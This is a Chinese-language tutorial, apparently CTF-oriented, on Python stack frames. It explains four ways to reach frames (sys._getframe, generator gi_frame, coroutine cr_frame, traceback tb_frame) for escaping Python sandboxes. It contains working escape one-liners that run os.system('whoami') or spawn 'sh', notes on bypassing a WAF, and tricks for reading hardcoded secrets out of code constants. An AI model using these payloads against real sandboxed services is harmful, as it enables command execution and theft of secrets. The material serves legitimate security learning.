Python栈帧及四类获取栈帧方法
字数 3473 2025-12-17 12:13:57

Python栈帧及四类获取栈帧方法

什么是栈帧

每当Python调用一个函数时,它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息,包括:

  • 局部变量 (f_locals)
  • 全局变量 (f_globals)
  • 上一级调用者的栈帧 (f_back)
  • 代码对象 (f_code)
  • 内置对象 (f_builtins)

我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部,通过f_back指针,我们可以一步步往回找,直到找到最外层的程序入口。

利用栈帧技术,我们可以在受限的环境中穿越由于函数调用产生的层级,去获取上层甚至全局作用域中的敏感变量或危险函数。

栈帧属性

下面介绍一些常用的栈帧属性:

属性 描述 用途
f_back 指向上一层(调用者)的栈帧对象 最核心属性。用于跳出当前受限函数,回到上层寻找可用模块(如 os)
f_globals 当前栈帧的全局变量字典 获取全局加载的模块(如 os, sys)或配置信息 (SECRET_KEY)
f_locals 当前栈帧的局部变量字典 获取函数内部定义的敏感变量(如 flag)
f_builtins 当前栈帧可用的内置函数 如果当前环境删除了 builtins,可从上层栈帧找回
f_code 当前栈帧执行的代码对象 查看文件名、代码指令等信息

f_back

这是最核心的属性。它的作用是:跳出当前函数的作用域,去操作调用者环境中的东西。

import sys

def sandbox():
    print("[*] 进入沙箱函数...")
    # 1. 获取当前栈帧
    current_frame = sys._getframe()
    
    # 2. 利用 f_back 回到上一层 (main 函数的栈帧)
    caller_frame = current_frame.f_back
    
    # 3. 偷看上一层的局部变量
    print(f"[!] 成功获取上层变量: {caller_frame.f_locals['flag']}")

def main():
    # 这是定义在 main 里的局部变量,正常情况下 sandbox 访问不到
    flag = "CTF{f_back_is_awesome}" 
    sandbox()

if __name__ == "__main__":
    main()

可以看到,sandbox函数中的变量拿到了main函数中变量的值,说明f_back跳出了当前函数的作用域。

f_globals

它的作用是,不管我们在哪一层,通过它都能拿到当前模块加载的所有全局变量和导入的库。

import sys
import os # 假设这是题目自带的,你不能修改

def vulnerable():
    # 假设这里不能直接用 os.system,或者被过滤了
    
    # 1. 获取当前栈帧
    f = sys._getframe()
    
    # 2. 查看全局变量字典 (f_globals)
    # 这就像打开了上帝视角的仓库
    global_vars = f.f_globals
    
    if 'os' in global_vars:
        print("[+] 在全局变量中找到了 os 模块!")
        # 3. 直接通过字典调用 os
        global_vars['os'].system('echo "Command Executed via f_globals"')

vulnerable()

这是沙箱逃逸的主力。即使当前环境什么都没有,只要顺着f_back找到某一层,这一层的f_globals有os、sys等,就可以rce了。

f_locals

它的作用是查看特定函数内部的私有变量。

import sys

def secret_function():
    # 这是一个只有函数内部知道的秘密
    user_password = "MySuperSecretPassword123"
    
    # 假设攻击者能在这里执行一行代码
    frame = sys._getframe()
    
    # 直接打印当前帧的所有局部变量
    print(f"[!] 泄露当前作用域的所有变量: {frame.f_locals}")

secret_function()

特定情况下,我们可以通过读取f_locals来窃取敏感数据。

f_builtins

它的作用是获取Python原生的内置函数(如open,import,eval)。

import sys

# === 模拟沙箱环境 ===
# 题目把 print 和 open 删了
print = None
open = None
# ==================

def escape():
    frame = sys._getframe()
    
    # 尝试直接调用 print,会报错,因为它是 None
    # print("hello") -> Error
    
    # 但是!栈帧里的 f_builtins 保存着 Python 最原始的内置函数
    original_print = frame.f_builtins['print']
    
    original_print("[+] 成功从 f_builtins 恢复了 print 函数!")
    
    # 甚至可以找回 __import__ 来重新导入模块
    original_import = frame.f_builtins['__import__']
    os_mod = original_import('os')
    original_print(f"[+] 重新导入了 os 模块: {os_mod}")

escape()

f_code

它的作用是提供关于代码本身的信息(文件名、函数名、行号、字节码)。

import sys

def unknown_environment():
    f = sys._getframe()
    code_obj = f.f_code
    
    print(f"当前函数名 (co_name): {code_obj.co_name}")
    print(f"当前文件名 (co_filename): {code_obj.co_filename}")
    print(f"当前参数数量 (co_argcount): {code_obj.co_argcount}")
    print(f"局部变量名列表 (co_varnames): {code_obj.co_varnames}")

unknown_environment()

利用手法

一、sys

在Python中,主要通过sys模块来获取栈帧。最常用的是sys._getframe()。我们需要先拿到当前帧,才能往上爬。

import sys
frame = sys._getframe()

经典攻击利用手法是爬栈窃取:

  1. 获取当前位置:f = sys._getframe()
  2. 向上爬一层:f = f.back
  3. 查看当前层:f.f_globals
  4. 拿到os:os_module = f.f_globals['os']
  5. 执行命令:os_module.system('whoami')

本地测试

  • 如果os在全局导入,直接通过f_globals获取
  • 如果os在函数内部导入,需要通过f_locals获取
  • 如果没有os模块,只有sys模块,可以通过f['sys'].modules['os']获取

二、生成器

利用生成器我们不需要import,也不需要def定义函数,甚至不需要显式的函数调用,就能拿到栈帧。

什么是生成器

在Python中,想要拿到栈帧,通常有两条路:

  • 利用sys._getframe(),这需要导入sys,还需要调用函数
  • 利用生成器对象,这是Python的语法特性

(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态,解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。

  • [x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下
  • (x for x in [])是一个未执行或者"懒执行"的任务包,保留栈帧

生成器属性

gi_frame

它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。

g.gi_frame.f_back.f_globals

gi_code

它返回的是一个代码对象。即使我们无法通过gi_frame拿到f_locals,比如变量被删了,我们依然可以通过gi_code看到编译后的静态数据。

def check():
    if input() == "FLAG{Hardcoded_Secret}":
        return True
    yield

g = check()
# 1. 获取代码对象
code = g.gi_code
# 2. 读取代码中所有的常量 (Constant values)
# 这里面会包含所有的字符串、数字、None 等硬编码的值
print(code.co_consts) 
# 输出: (None, 'FLAG{Hardcoded_Secret}')

既不需要执行代码,也不需要拿到栈帧,只要拿到生成器就能拿到所有常量。

其他敏感属性:

  • g.gi_code.co_name: 函数名
  • g.gi_code.co_filename: 泄露服务器上的绝对路径
  • g.gi_code.co_code: 原始字节码

gi_yieldfrom

当生成器使用了yield from other_gen()的语法时,当前的生成器会委托给other_gen。此时,g.gi_frame指向的是外层生成器的帧。而g.gi_yieldfrom指向的是内层那个正在干活的生成器。

def inner():
    # 假设这里面有敏感数据
    secret = "Deep Secret"
    yield

def outer():
    yield from inner() # 委托给 inner

g = outer()
next(g) # 启动生成器,让它卡在 yield from 那一行

# 此时 g 是 outer
print(f"Outer Frame: {g.gi_frame.f_code.co_name}") # -> outer

# 通过 gi_yieldfrom 拿到 inner 生成器
inner_gen = g.gi_yieldfrom
print(f"Inner Frame: {inner_gen.gi_frame.f_code.co_name}") # -> inner

# 进而拿到 inner 的局部变量
print(inner_gen.gi_frame.f_locals)

gi_running

这是一个布尔值。当生成器正在执行时为1,当生成器暂停时为0。

使用方式

找到全局os模块

# 适用于:f_back 一层就能回到全局,且全局里有 os 模块
(x for x in []).gi_frame.f_back.f_globals['os'].system('whoami')

生成器高版本Python报错

在Python3.11+版本中,生成器在刚刚创建但尚未运行时,它的栈帧是"孤立"的,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。

def inner():
    import os
    # 1. 先定义生成器,但不立即用
    g = (x for x in [1])
    
    # 2. 让它运行一步
    # 这会强制 Python 创建并链接栈帧
    try:
        next(g) 
    except StopIteration:
        pass
    
    # 3. 现在再去拿 f_back,有时候就能拿到了
    # (注:这在不同微版本中表现不稳定,不推荐作为首选)
    if g.gi_frame.f_back:
        g.gi_frame.f_back.f_locals['os'].system('whoami')

def main():
    inner()

if __name__ == "__main__":
    main()

手动导入os模块

# 适用于:全局里没有 os,或者 sys 被删了
# 思路:找 builtins -> 找 __import__ -> 加载 os
(x for x in []).gi_frame.f_back.f_globals['__builtins__']['__import__']('os').system('whoami')

看硬编码常量

import sys

# 全局常量
GLOBAL_STR = "Hello, World!"

def inner():
    # 局部常量
    LOCAL_STR = "Inner Function"
    
    # 创建生成器
    gen = (x for x in [])
    
    # 查看生成器自己的常量 (空) 
    print("生成器内部的常量:", gen.gi_code.co_consts)
    
    # 利用栈帧跳到 inner 函数层,看它的代码常量
    # 路径: 生成器帧 -> 上一层(inner)帧 -> inner的代码对象 -> 常量池
    inner_consts = gen.gi_frame.f_back.f_code.co_consts
    print("inner 函数的常量:", inner_consts)
    
    # 再跳一层到全局,看全局的代码常量
    # 路径: ... -> 再上一层(module)帧 -> module的代码对象 -> 常量池
    module_consts = gen.gi_frame.f_back.f_back.f_code.co_consts
    print("Global 模块的常量:", module_consts)

def main():
    inner()

if __name__ == "__main__":
    main()

三、异步挂起:协程(coroutine.cr_frame)

在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时,它不会把这个函数当成普通函数,而是把它编译成一个原生协程工厂。

关键特性:当我们调用一个async def函数时,代码不会立即执行,它会返回一个协程对象。这个对象内部已经分配好了一个栈帧,用来保存未来的执行状态。这个栈帧,就挂载在cr_frame上。

核心属性:cr_frame

它的地位等同于生成器的gi_frame。

对象类型 关键字 栈帧属性名 地位
生成器 yield gi_frame 3.11+ 无法使用
协程 async cr_frame WAF 绕过率高

使用方式

# 1. 定义一个异步函数 (不需要 await,空的就行)
async def spy():
    pass

# 2. 调用它 -> 得到协程对象 c
# 注意:此时 spy 里的代码没跑,但 c 已经拿到栈帧了
c = spy()

# 3. 拿到栈帧 -> 拿到 globals -> 拿到 os
# 这里的路径是:c.cr_frame (协程帧) -> .f_globals (全局字典)
# 注意:这里不需要 f_back,因为 spy 是在当前上下文定义的,它的 globals 就是当前的 globals
os_mod = c.cr_frame.f_globals.get('__builtins__').__import__('os') # 也可以用['__builtins__']

# 4. 执行命令
os_mod.system('whoami')

注意:会出现RuntimeWarning: coroutine 'spy' was never awaited警告,但这正是我们想要的,我们不需要协程执行,只需要它被创建时产生的栈帧。

四、异常回溯(Traceback)

核心原理

当Python程序运行出错时,解释器会创建一个Traceback Object(回溯对象),详细记录在哪一行出错的,在哪个函数出错的,当时上下文(栈帧)是什么。因为只有保留了栈帧,调试器或者打印错误的程序才能告诉你当时的变量值。

利用链

  • Exception (异常对象): 错误发生后生成的对象
  • traceback (属性): 挂在异常对象上的回溯记录
  • tb_frame (属性): 回溯记录里保存的栈帧对象
  • f_globals (属性): 栈帧里的全局变量

只要能写try...Exception,这个方法就能拿到栈帧。

使用方式

基本利用

def escape():
    try:
        1 / 0
    except Exception as e:
        # e 是异常对象
        # e.__traceback__ 是回溯记录
        # .tb_frame 是当前栈帧 (相当于 sys._getframe())
        frame = e.__traceback__.tb_frame
        
        # 2. 拿到栈帧后,剩下的操作和之前一模一样
        frame.f_back.f_globals['__builtins__'].__import__('os').system('whoami')

escape()

可以写成一行:

# 只要允许try Exception就能使用
try:raise Exception
except Exception as e:e.__traceback__.tb_frame.f_back.f_globals['os'].system('sh')

多层异常

有时候,错误是层层传递的。traceback对象实际上是一个链表。

属性 含义
tb_frame 当前层的栈帧
tb_next 指向更深一层(被调用者)的traceback对象
tb_lineno 出错的代码行号
import sys

def deep_error():
    1/0

def main():
    try:
        deep_error()
    except:
        # sys.exc_info() 返回 (type, value, traceback)
        tb = sys.exc_info()[2]
        
        # 此时 tb 指向的是 main 这一层的错误现场
        print(f"当前层: {tb.tb_frame.f_code.co_name}") # -> main
        
        # tb.tb_next 指向导致错误的更深一层 (deep_error)
        if tb.tb_next:
            print(f"内层: {tb.tb_next.tb_frame.f_code.co_name}") # -> deep_error
            print(tb.tb_next.tb_frame.f_globals['__builtins__'].__import__('os').system('whoami'))

if __name__ == "__main__":
    main()

总结

本文详细介绍了Python栈帧的概念、属性以及四种获取栈帧的方法:

  1. sys模块:最直接的方法,但需要导入sys模块
  2. 生成器:无需导入模块,但在Python 3.11+中受限
  3. 协程:WAF绕过率高,适用于现代Python版本
  4. 异常回溯:利用异常机制获取栈帧,适用性广

每种方法都有其适用场景和限制,在实际应用中需要根据具体环境选择合适的方法。栈帧技术是Python沙箱逃逸和代码审计中的重要知识点,掌握这些技术对于安全研究人员至关重要。

Python栈帧及四类获取栈帧方法 什么是栈帧 每当Python调用一个函数时,它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息,包括: 局部变量 (f_ locals) 全局变量 (f_ globals) 上一级调用者的栈帧 (f_ back) 代码对象 (f_ code) 内置对象 (f_ builtins) 我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部,通过f_ back指针,我们可以一步步往回找,直到找到最外层的程序入口。 利用栈帧技术,我们可以在受限的环境中穿越由于函数调用产生的层级,去获取上层甚至全局作用域中的敏感变量或危险函数。 栈帧属性 下面介绍一些常用的栈帧属性: | 属性 | 描述 | 用途 | |------|------|------| | f_ back | 指向上一层(调用者)的栈帧对象 | 最核心属性。用于跳出当前受限函数,回到上层寻找可用模块(如 os) | | f_ globals | 当前栈帧的全局变量字典 | 获取全局加载的模块(如 os, sys)或配置信息 (SECRET_ KEY) | | f_ locals | 当前栈帧的局部变量字典 | 获取函数内部定义的敏感变量(如 flag) | | f_ builtins | 当前栈帧可用的内置函数 | 如果当前环境删除了 builtins ,可从上层栈帧找回 | | f_ code | 当前栈帧执行的代码对象 | 查看文件名、代码指令等信息 | f_ back 这是最核心的属性。它的作用是:跳出当前函数的作用域,去操作调用者环境中的东西。 可以看到,sandbox函数中的变量拿到了main函数中变量的值,说明f_ back跳出了当前函数的作用域。 f_ globals 它的作用是,不管我们在哪一层,通过它都能拿到当前模块加载的所有全局变量和导入的库。 这是沙箱逃逸的主力。即使当前环境什么都没有,只要顺着f_ back找到某一层,这一层的f_ globals有os、sys等,就可以rce了。 f_ locals 它的作用是查看特定函数内部的私有变量。 特定情况下,我们可以通过读取f_ locals来窃取敏感数据。 f_ builtins 它的作用是获取Python原生的内置函数(如open,import,eval)。 f_ code 它的作用是提供关于代码本身的信息(文件名、函数名、行号、字节码)。 利用手法 一、sys 在Python中,主要通过sys模块来获取栈帧。最常用的是sys._ getframe()。我们需要先拿到当前帧,才能往上爬。 经典攻击利用手法是爬栈窃取: 获取当前位置: f = sys._getframe() 向上爬一层: f = f.back 查看当前层: f.f_globals 拿到os: os_module = f.f_globals['os'] 执行命令: os_module.system('whoami') 本地测试 如果os在全局导入,直接通过f_ globals获取 如果os在函数内部导入,需要通过f_ locals获取 如果没有os模块,只有sys模块,可以通过 f['sys'].modules['os'] 获取 二、生成器 利用生成器我们不需要import,也不需要def定义函数,甚至不需要显式的函数调用,就能拿到栈帧。 什么是生成器 在Python中,想要拿到栈帧,通常有两条路: 利用sys._ getframe(),这需要导入sys,还需要调用函数 利用生成器对象,这是Python的语法特性 (x for x in []) 就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态,解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_ frame属性上。 [x for x in []] 是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下 (x for x in []) 是一个未执行或者"懒执行"的任务包,保留栈帧 生成器属性 gi_ frame 它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。 gi_ code 它返回的是一个代码对象。即使我们无法通过gi_ frame拿到f_ locals,比如变量被删了,我们依然可以通过gi_ code看到编译后的静态数据。 既不需要执行代码,也不需要拿到栈帧,只要拿到生成器就能拿到所有常量。 其他敏感属性: g.gi_code.co_name : 函数名 g.gi_code.co_filename : 泄露服务器上的绝对路径 g.gi_code.co_code : 原始字节码 gi_ yieldfrom 当生成器使用了 yield from other_gen() 的语法时,当前的生成器会委托给other_ gen。此时, g.gi_frame 指向的是外层生成器的帧。而 g.gi_yieldfrom 指向的是内层那个正在干活的生成器。 gi_ running 这是一个布尔值。当生成器正在执行时为1,当生成器暂停时为0。 使用方式 找到全局os模块 生成器高版本Python报错 在Python3.11+版本中,生成器在刚刚创建但尚未运行时,它的栈帧是"孤立"的,导致f_ back为None。只有当生成器正在运行时,它才会链接到调用栈。 手动导入os模块 看硬编码常量 三、异步挂起:协程(coroutine.cr_ frame) 在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时,它不会把这个函数当成普通函数,而是把它编译成一个原生协程工厂。 关键特性:当我们调用一个async def函数时,代码不会立即执行,它会返回一个协程对象。这个对象内部已经分配好了一个栈帧,用来保存未来的执行状态。这个栈帧,就挂载在cr_ frame上。 核心属性:cr_ frame 它的地位等同于生成器的gi_ frame。 | 对象类型 | 关键字 | 栈帧属性名 | 地位 | |----------|--------|------------|------| | 生成器 | yield | gi_ frame | 3.11+ 无法使用 | | 协程 | async | cr_ frame | WAF 绕过率高 | 使用方式 注意:会出现 RuntimeWarning: coroutine 'spy' was never awaited 警告,但这正是我们想要的,我们不需要协程执行,只需要它被创建时产生的栈帧。 四、异常回溯(Traceback) 核心原理 当Python程序运行出错时,解释器会创建一个Traceback Object(回溯对象),详细记录在哪一行出错的,在哪个函数出错的,当时上下文(栈帧)是什么。因为只有保留了栈帧,调试器或者打印错误的程序才能告诉你当时的变量值。 利用链 Exception (异常对象): 错误发生后生成的对象 traceback (属性): 挂在异常对象上的回溯记录 tb_ frame (属性): 回溯记录里保存的栈帧对象 f_ globals (属性): 栈帧里的全局变量 只要能写try...Exception,这个方法就能拿到栈帧。 使用方式 基本利用 可以写成一行: 多层异常 有时候,错误是层层传递的。traceback对象实际上是一个链表。 | 属性 | 含义 | |------|------| | tb_ frame | 当前层的栈帧 | | tb_ next | 指向更深一层(被调用者)的traceback对象 | | tb_ lineno | 出错的代码行号 | 总结 本文详细介绍了Python栈帧的概念、属性以及四种获取栈帧的方法: sys模块 :最直接的方法,但需要导入sys模块 生成器 :无需导入模块,但在Python 3.11+中受限 协程 :WAF绕过率高,适用于现代Python版本 异常回溯 :利用异常机制获取栈帧,适用性广 每种方法都有其适用场景和限制,在实际应用中需要根据具体环境选择合适的方法。栈帧技术是Python沙箱逃逸和代码审计中的重要知识点,掌握这些技术对于安全研究人员至关重要。